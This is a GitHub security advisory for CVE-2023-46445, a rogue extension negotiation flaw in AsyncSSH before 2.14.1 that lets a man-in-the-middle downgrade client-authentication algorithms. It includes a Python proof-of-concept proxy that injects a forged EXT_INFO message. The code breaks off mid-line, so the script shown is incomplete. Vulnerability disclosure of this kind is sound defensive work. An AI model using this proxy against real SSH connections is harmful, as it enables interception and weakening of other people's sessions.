GitHub Advisoryadvisory · PyPI

GHSA-cfc2-wr2v-gxm5 AsyncSSH Rogue Extension Negotiation

MEDIUM Published 2023-11-09 Modified 2025-11-04 Official page ↗
Aliases
CVE-2023-46445
Ecosystem
PyPI
Packages
asyncssh
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weaknesses
CWE-345, CWE-349, CWE-354
Reviewed
2023-11-09

Affected packages

• PyPI asyncssh: < 2.14.1 → fixed in 2.14.1

Description

Summary An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack. Details The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it. A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2). PoC AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) Impact Algorithm downgrade during user authentication.

Related

Alias · CVE (1)

  • CVE-2023-46445 An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a… vulnerability

Weakness · CWE (3)

  • CWE-345 Insufficient Verification of Data Authenticity weakness
  • CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data weakness
  • CWE-354 Improper Validation of Integrity Check Value weakness

References